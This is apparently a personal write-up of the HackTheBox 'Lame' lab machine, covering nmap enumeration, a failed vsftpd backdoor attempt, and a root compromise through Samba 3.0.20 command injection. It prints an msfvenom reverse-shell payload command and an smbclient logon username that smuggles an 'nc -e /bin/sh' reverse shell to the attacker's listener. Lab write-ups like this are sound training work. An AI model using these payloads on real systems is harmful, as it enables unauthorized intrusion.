HTB “Lame” Writeup

This is my writeup for the Lame machine in Hackthebox

Enumeration

As usual, we will start with an nmap scan to see what we’re working with:

nmap scan report for 10.10.10.3
Host is up (0.035s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2022-09-15T19:26:03-04:00
|_clock-skew: mean: 2h00m22s, deviation: 2h49m45s, median: 20s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 157.32 seconds

Looks like we’re working with a server hosting ftp as well as smb. No webserver! A change from the Starting Point machines.
Let’s start with some ftp fuzzing, since we have the version thanks to the nmap scripts: vsftp 2.3.4

FTP Fuzzing

Jumping into the ftp server as anonymous gives us nothing, looks empty. We also try the ftp user our nmap scripts pulled for us, but the directory is also empty.

Searching the web for exploits for vsftp 2.3.4, we see our friends at Rapid7 have created a metasploit module for this. It looks like it exploits a malicious backdoor that was briefly in the specified version of vsftp. After setting the RHOST option for this exploit, we find it indeed doesn’t work.

Searching a bit more, we find an exploit on exploitdb with a possible path to a shell. Although it uses the same exploit, it may be worth trying. But it doesn’t work either.

OK, maybe this box isn’t vulnerable to CVE-2011-2523. Let’s create a payload using msf venom and see if we can upload it to the FTP server for future usage using this command:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f elf > r.elf

When we try to login to the ftp server as the ftp user and send the file using the put command, it fails:
553 Could not create file.
Probably this user doesn’t have permissions to upload files.

Strange that the FTP seems to be open for no reason. Maybe we are missing something, or maybe it’s a red herring. Either way, let’s move onto some SMB exploitation.

SMB Tricks

There are two open samba ports on the machine. Let’s focus on the one we have an exact version for, since this will make it easier to find an exploit. Some googling points us to a good candidate here.

To summarize, if we enter the username “/=`nohup nc [SOMETHING], we can execute commands we input instead of SOMETHING.

First, let’s start a netcat listener:

$ sudo nc -nvlp 4444

Now let’s pass our payload as the username using smbclient. The command ‘hangs’, which could indicate good news:

$ smbclient \\10.10.10.3\ -p=445 -U="/=`nohup nc -e /bin/sh 10.10.14.9 4444`"
nohup: ignoring input and redirecting stderr to stdout

Note: smbclient requires that every time you need one backslash, you actually need to put two. I think it’s related to escape characters. Hence the seemingly-excessive backslashes in the command. I learned this the hard way doing a starting point machine that required some SMB enumeration

Let’s jump over to our netcat listener to see if it worked:

listening on [any] 4444 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.14.9] 52988

Congratulations, we got a connection…
…from ourselves. Queue the DJ Khalid meme.

A bit of googling reveals that our machine is actually executing the command inside the backticks as it reads the command, which explains the message we get regarding stderr and stdout after we execute.

Let’s try using single quotes instead to pass it as a string so our machine doesn’t execute the command-in-a-command:

$ smbclient \\10.10.10.3\ -p=445 -U='/=`nohup nc -e /bin/sh 10.10.14.9 4444`'
Password for [=`NOHUP NC -E bin/sh 10.10.14.9 4444`]:

It works, sort of. We get a password prompt for the user from the SMB server. But reading through it we can see the capitalization is all messed up, and some of the slashes are incorrect.

Doing some googling leads us to an interesting post on Stack Exchange about this exploit, where they get it working by connecting to the SMB without logging in, and then passing the username a different way (it also implies there’s a metasploit module that can do this, but let’s do it ourselves instead):

1. First run smbclient -L to get a list of shares
2. Then, pass the share to try like this:

   $ smbclient //[ip]/[share]

3. This gets you to the smb command line where you can use the logon command to enter the payload properly.

Let’s give it a shot.

┌──(kefka㉿kali)-[~/htb/lame]
└─$ smbclient -L 10.10.10.3                                                       
Password for [WORKGROUPkefka]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk      
        IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            LAME

The tmp share looks interesting…

┌──(kefka㉿kali)-[~/htb/lame]
└─$ smbclient //10.10.10.3/tmp
Password for [WORKGROUPkefka]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: > logon
logon <username> [<password>]
smb: > logon /=`nohup nc -e /bin/sh 10.10.14.9 4444`
session setup failed: NT_STATUS_LOGON_FAILURE
smb: > logon "/=`nohup nc -e /bin/sh 10.10.14.9 4444`"
Password: 

My first attempt failed because I forgot to enclose the username in quotes. But the second one? Let’s take a look at our netcat listener…

┌──(kefka㉿kali)-[~]
└─$ sudo nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.3] 49817
whoami
root
python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/# 

BOOM! You can see here I invoke python to get a more stable shell as well.

We navigate to the root directory and see the root.txt file, which contains our user flag.
We enter it in HTB and the machine isn’t marked as completed yet. There must be more flags!

We navigate to /home/ and find a few more users there but only one, the makis user, has a flag. We submit that and get the matrix rating for the machine. Machine pwned!

---

Final Thoughts

A great exercise in CVE enumeration based on version numbers. The vsftpd 2.3.4 vulnerability doesn’t work but in this instance, and I was curious why. Looking at this very excellent blog gives some insight into that, it looks like the firewall is blocking the listener. They also get into an entirely different path to pwning this machine than what I found starting at the user level and escalating privileges! A great read.

That’s all for today, folks.

~Kefka